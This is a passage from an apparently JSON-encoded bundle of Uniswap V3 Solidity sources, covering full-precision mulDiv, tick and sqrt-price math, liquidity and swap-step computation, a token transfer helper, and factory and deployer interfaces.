reconstruct\n // the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2**256 + prod0\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(a, b, not(0))\n prod0 := mul(a, b)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division\n if (prod1 == 0) {\n require(denominator > 0);\n assembly {\n result := div(prod0, denominator)\n }\n return result;\n }\n\n // Make sure the result is less than 2**256.\n // Also prevents denominator == 0\n require(denominator > prod1);\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0]\n // Compute remainder using mulmod\n uint256 remainder;\n assembly {\n remainder := mulmod(a, b, denominator)\n }\n // Subtract 256 bit number from 512 bit number\n assembly {\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator\n // Compute largest power of two divisor of denominator.\n // Always >= 1.\n uint256 twos = -denominator & denominator;\n // Divide denominator by power of two\n assembly {\n denominator := div(denominator, twos)\n }\n\n // Divide [prod1 prod0] by the factors of two\n assembly {\n prod0 := div(prod0, twos)\n }\n // Shift in bits from prod1 into prod0. For this we need\n // to flip `twos` such that it is 2**256 / twos.\n // If twos is zero, then it becomes one\n assembly {\n twos := add(div(sub(0, twos), twos), 1)\n }\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2**256\n // Now that denominator is an odd number, it has an inverse\n // modulo 2**256 such that denominator * inv = 1 mod 2**256.\n // Compute the inverse by starting with a seed that is correct\n // correct for four bits. That is, denominator * inv = 1 mod 2**4\n uint256 inv = (3 * denominator) ^ 2;\n // Now use Newton-Raphson iteration to improve the precision.\n // Thanks to Hensel's lifting lemma, this also works in modular\n // arithmetic, doubling the correct bits in each step.\n inv *= 2 - denominator * inv; // inverse mod 2**8\n inv *= 2 - denominator * inv; // inverse mod 2**16\n inv *= 2 - denominator * inv; // inverse mod 2**32\n inv *= 2 - denominator * inv; // inverse mod 2**64\n inv *= 2 - denominator * inv; // inverse mod 2**128\n inv *= 2 - denominator * inv; // inverse mod 2**256\n\n // Because the division is now exact we can divide by multiplying\n // with the modular inverse of denominator. This will give us the\n // correct result modulo 2**256. Since the precoditions guarantee\n // that the outcome is less than 2**256, this is the final result.\n // We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inv;\n return result;\n }\n\n /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n function mulDivRoundingUp(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n result = mulDiv(a, b, denominator);\n if (mulmod(a, b, denominator) > 0) {\n require(result < type(uint256).max);\n result++;\n }\n }\n}\n" }, "contracts/libraries/FixedPoint128.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint128\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\nlibrary FixedPoint128 {\n uint256 internal constant Q128 = 0x100000000000000000000000000000000;\n}\n" }, "contracts/libraries/TransferHelper.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.6.0;\n\nimport '../interfaces/IERC20Minimal.sol';\n\n/// @title TransferHelper\n/// @notice Contains helper methods for interacting with ERC20 tokens that do not consistently return true/false\nlibrary TransferHelper {\n /// @notice Transfers tokens from msg.sender to a recipient\n /// @dev Calls transfer on token contract, errors with TF if transfer fails\n /// @param token The contract address of the token which will be transferred\n /// @param to The recipient of the transfer\n /// @param value The value of the transfer\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n (bool success, bytes memory data) =\n token.call(abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, value));\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'TF');\n }\n}\n" }, "contracts/libraries/TickMath.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for computing sqrt prices from ticks and vice versa\n/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports\n/// prices between 2**-128 and 2**128\nlibrary TickMath {\n /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128\n int24 internal constant MIN_TICK = -887272;\n /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128\n int24 internal constant MAX_TICK = -MIN_TICK;\n\n /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)\n uint160 internal constant MIN_SQRT_RATIO = 4295128739;\n /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)\n uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;\n\n /// @notice Calculates sqrt(1.0001^tick) * 2^96\n /// @dev Throws if |tick| > max tick\n /// @param tick The input tick for the above formula\n /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)\n /// at the given tick\n function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {\n uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));\n require(absTick <= uint256(MAX_TICK), 'T');\n\n uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;\n if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;\n if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;\n if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;\n if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;\n if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;\n if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;\n if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;\n if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;\n if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;\n if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;\n if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;\n if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;\n if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;\n if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;\n if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;\n if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;\n if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;\n if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;\n if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;\n\n if (tick > 0) ratio = type(uint256).max / ratio;\n\n // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.\n // we then downcast because we know the result always fits within 160 bits due to our tick input constraint\n // we round up in the division so getTickAtSqrtRatio of the output price is always consistent\n sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));\n }\n\n /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio\n /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may\n /// ever return.\n /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96\n /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio\n function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {\n // second inequality must be < because the price can never reach the price at the max tick\n require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');\n uint256 ratio = uint256(sqrtPriceX96) << 32;\n\n uint256 r = ratio;\n uint256 msb = 0;\n\n assembly {\n let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(5, gt(r, 0xFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(4, gt(r, 0xFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(3, gt(r, 0xFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(2, gt(r, 0xF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(1, gt(r, 0x3))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := gt(r, 0x1)\n msb := or(msb, f)\n }\n\n if (msb >= 128) r = ratio >> (msb - 127);\n else r = ratio << (127 - msb);\n\n int256 log_2 = (int256(msb) - 128) << 64;\n\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(63, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(62, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(61, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(60, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(59, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(58, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(57, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(56, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(55, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(54, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(53, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(52, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(51, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(50, f))\n }\n\n int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number\n\n int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);\n int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);\n\n tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;\n }\n}\n" }, "contracts/libraries/LiquidityMath.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for liquidity\nlibrary LiquidityMath {\n /// @notice Add a signed liquidity delta to liquidity and revert if it overflows or underflows\n /// @param x The liquidity before change\n /// @param y The delta by which liquidity should be changed\n /// @return z The liquidity delta\n function addDelta(uint128 x, int128 y) internal pure returns (uint128 z) {\n if (y < 0) {\n require((z = x - uint128(-y)) < x, 'LS');\n } else {\n require((z = x + uint128(y)) >= x, 'LA');\n }\n }\n}\n" }, "contracts/libraries/SqrtPriceMath.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './FullMath.sol';\nimport './UnsafeMath.sol';\nimport './FixedPoint96.sol';\n\n/// @title Functions based on Q64.96 sqrt price and liquidity\n/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas\nlibrary SqrtPriceMath {\n using LowGasSafeMath for uint256;\n using SafeCast for uint256;\n\n /// @notice Gets the next sqrt price given a delta of token0\n /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the\n /// price less in order to not send too much output.\n /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),\n /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).\n /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token0 to add or remove from virtual reserves\n /// @param add Whether to add or remove the amount of token0\n /// @return The price after adding or removing amount, depending on add\n function getNextSqrtPriceFromAmount0RoundingUp(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price\n if (amount == 0) return sqrtPX96;\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n\n if (add) {\n uint256 product;\n if ((product = amount * sqrtPX96) / amount == sqrtPX96) {\n uint256 denominator = numerator1 + product;\n if (denominator >= numerator1)\n // always fits in 160 bits\n return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));\n }\n\n return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));\n } else {\n uint256 product;\n // if the product overflows, we know the denominator underflows\n // in addition, we must check that the denominator does not underflow\n require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);\n uint256 denominator = numerator1 - product;\n return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();\n }\n }\n\n /// @notice Gets the next sqrt price given a delta of token1\n /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the\n /// price less in order to not send too much output.\n /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity\n /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token1 to add, or remove, from virtual reserves\n /// @param add Whether to add, or remove, the amount of token1\n /// @return The price after adding or removing `amount`\n function getNextSqrtPriceFromAmount1RoundingDown(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // if we're adding (subtracting), rounding down requires rounding the quotient down (up)\n // in both cases, avoid a mulDiv for most inputs\n if (add) {\n uint256 quotient =\n (\n amount <= type(uint160).max\n ? (amount << FixedPoint96.RESOLUTION) / liquidity\n : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)\n );\n\n return uint256(sqrtPX96).add(quotient).toUint160();\n } else {\n uint256 quotient =\n (\n amount <= type(uint160).max\n ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)\n : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)\n );\n\n require(sqrtPX96 > quotient);\n // always fits 160 bits\n return uint160(sqrtPX96 - quotient);\n }\n }\n\n /// @notice Gets the next sqrt price given an input amount of token0 or token1\n /// @dev Throws if price or liquidity are 0, or if the next price is out of bounds\n /// @param sqrtPX96 The starting price, i.e., before accounting for the input amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountIn How much of token0, or token1, is being swapped in\n /// @param zeroForOne Whether the amount in is token0 or token1\n /// @return sqrtQX96 The price after adding the input amount to token0 or token1\n function getNextSqrtPriceFromInput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountIn,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we don't pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true)\n : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true);\n }\n\n /// @notice Gets the next sqrt price given an output amount of token0 or token1\n /// @dev Throws if price or liquidity are 0 or the next price is out of bounds\n /// @param sqrtPX96 The starting price before accounting for the output amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountOut How much of token0, or token1, is being swapped out\n /// @param zeroForOne Whether the amount out is token0 or token1\n /// @return sqrtQX96 The price after removing the output amount of token0 or token1\n function getNextSqrtPriceFromOutput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountOut,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false)\n : getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false);\n }\n\n /// @notice Gets the amount0 delta between two prices\n /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper),\n /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up or down\n /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount0) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;\n\n require(sqrtRatioAX96 > 0);\n\n return\n roundUp\n ? UnsafeMath.divRoundingUp(\n FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96),\n sqrtRatioAX96\n )\n : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;\n }\n\n /// @notice Gets the amount1 delta between two prices\n /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up, or down\n /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount1) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n return\n roundUp\n ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96)\n : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);\n }\n\n /// @notice Helper that gets signed token0 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount0 delta\n /// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount0) {\n return\n liquidity < 0\n ? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n\n /// @notice Helper that gets signed token1 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount1 delta\n /// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount1) {\n return\n liquidity < 0\n ? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n}\n" }, "contracts/libraries/SwapMath.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './SqrtPriceMath.sol';\n\n/// @title Computes the result of a swap within ticks\n/// @notice Contains methods for computing the result of a swap within a single tick price range, i.e., a single tick.\nlibrary SwapMath {\n /// @notice Computes the result of swapping some amount in, or amount out, given the parameters of the swap\n /// @dev The fee, plus the amount in, will never exceed the amount remaining if the swap's `amountSpecified` is positive\n /// @param sqrtRatioCurrentX96 The current sqrt price of the pool\n /// @param sqrtRatioTargetX96 The price that cannot be exceeded, from which the direction of the swap is inferred\n /// @param liquidity The usable liquidity\n /// @param amountRemaining How much input or output amount is remaining to be swapped in/out\n /// @param feePips The fee taken from the input amount, expressed in hundredths of a bip\n /// @return sqrtRatioNextX96 The price after swapping the amount in/out, not to exceed the price target\n /// @return amountIn The amount to be swapped in, of either token0 or token1, based on the direction of the swap\n /// @return amountOut The amount to be received, of either token0 or token1, based on the direction of the swap\n /// @return feeAmount The amount of input that will be taken as a fee\n function computeSwapStep(\n uint160 sqrtRatioCurrentX96,\n uint160 sqrtRatioTargetX96,\n uint128 liquidity,\n int256 amountRemaining,\n uint24 feePips\n )\n internal\n pure\n returns (\n uint160 sqrtRatioNextX96,\n uint256 amountIn,\n uint256 amountOut,\n uint256 feeAmount\n )\n {\n bool zeroForOne = sqrtRatioCurrentX96 >= sqrtRatioTargetX96;\n bool exactIn = amountRemaining >= 0;\n\n if (exactIn) {\n uint256 amountRemainingLessFee = FullMath.mulDiv(uint256(amountRemaining), 1e6 - feePips, 1e6);\n amountIn = zeroForOne\n ? SqrtPriceMath.getAmount0Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, true)\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, true);\n if (amountRemainingLessFee >= amountIn) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromInput(\n sqrtRatioCurrentX96,\n liquidity,\n amountRemainingLessFee,\n zeroForOne\n );\n } else {\n amountOut = zeroForOne\n ? SqrtPriceMath.getAmount1Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, false)\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, false);\n if (uint256(-amountRemaining) >= amountOut) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromOutput(\n sqrtRatioCurrentX96,\n liquidity,\n uint256(-amountRemaining),\n zeroForOne\n );\n }\n\n bool max = sqrtRatioTargetX96 == sqrtRatioNextX96;\n\n // get the input/output amounts\n if (zeroForOne) {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount0Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount1Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, false);\n } else {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, false);\n }\n\n // cap the output amount to not exceed the remaining output amount\n if (!exactIn && amountOut > uint256(-amountRemaining)) {\n amountOut = uint256(-amountRemaining);\n }\n\n if (exactIn && sqrtRatioNextX96 != sqrtRatioTargetX96) {\n // we didn't reach the target, so take the remainder of the maximum input as fee\n feeAmount = uint256(amountRemaining) - amountIn;\n } else {\n feeAmount = FullMath.mulDivRoundingUp(amountIn, feePips, 1e6 - feePips);\n }\n }\n}\n" }, "contracts/interfaces/IUniswapV3PoolDeployer.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title An interface for a contract that is capable of deploying Uniswap V3 Pools\n/// @notice A contract that constructs a pool must implement this to pass arguments to the pool\n/// @dev This is used to avoid having constructor arguments in the pool contract, which results in the init code hash\n/// of the pool being constant allowing the CREATE2 address of the pool to be cheaply computed on-chain\ninterface IUniswapV3PoolDeployer {\n /// @notice Get the parameters to be used in constructing the pool, set transiently during pool creation.\n /// @dev Called by the pool constructor to fetch the parameters of the pool\n /// Returns factory The factory address\n /// Returns token0 The first token of the pool by address sort order\n /// Returns token1 The second token of the pool by address sort order\n /// Returns fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// Returns tickSpacing The minimum number of ticks between initialized ticks\n function parameters()\n external\n view\n returns (\n address factory,\n address token0,\n address token1,\n uint24 fee,\n int24 tickSpacing\n );\n}\n" }, "contracts/interfaces/IUniswapV3Factory.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title The interface for the Uniswap V3 Factory\n/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees\ninterface IUniswapV3Factory {\n /// @notice Emitted when the owner of the factory is changed\n /// @param oldOwner The owner before the owner was changed\n /// @param newOwner The owner after the owner was changed\n event OwnerChanged(address indexed oldOwner, address indexed newOwner);\n\n /// @notice Emitted when a pool is created\n /// @param token0 The first token of the pool by address sort order\n /// @param token1 The second token of the pool by address sort order\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks\n /// @param pool The address of the created pool\n event PoolCreated(\n address indexed token0,\n address indexed token1,\n uint24 indexed fee,\n int24 tickSpacing,\n address pool\n );\n\n /// @notice Emitted when a new fee amount is enabled for pool creation via the factory\n /// @param fee The enabled fee, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee\n event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);\n\n /// @notice Returns the current owner of the factory\n /// @dev Can be changed by the current owner via setOwner\n /// @return The address of the factory owner\n function owner() external view returns (address);\n\n /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled\n /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context\n /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee\n /// @return The tick spacing\n function feeAmountTickSpacing(uint24 fee) external view returns (int24);\n\n /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist\n /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order\n /// @param tokenA The contract address of either token0 or token1\n /// @param tokenB The contract address of the other token\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @return pool The pool address\n function getPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external view returns (address pool);\n\n /// @notice Creates a pool for the given two tokens and fee\n /// @param tokenA One of the two tokens in the desired pool\n /// @param tokenB The other of the two tokens in the desired pool\n /// @param fee The desired fee for the pool\n /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved\n /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments\n /// are invalid.\n /// @return pool The address of the newly created pool\n function createPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external returns (address pool);\n\n /// @notice Updates the owner of the factory\n /// @dev Must be called by the current owner\n /// @param _owner The new owner of the factory\n function setOwner(address _owner) external;\n\n /// @notice Enables a fee amount with the given tickSpacing\n /// @dev Fee amounts may never be removed once enabled\n /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)\n /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount\n function enableFeeAmount(uint24 fee, int24 tickSpacing) external;\n}\n" }, "contracts/interfaces/IERC20Minimal.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Minimal ERC20 interface for Uniswap\n/// @notice Contains a subset of the full ERC20 interface that is used in Uniswap V3\ninterface IERC20Minimal {\n /// @notice Returns the balance of a token\n /// @param account The account for which to look up the number of tokens it has, i.e. its balance\n /// @return The number of tokens held by the account\n function 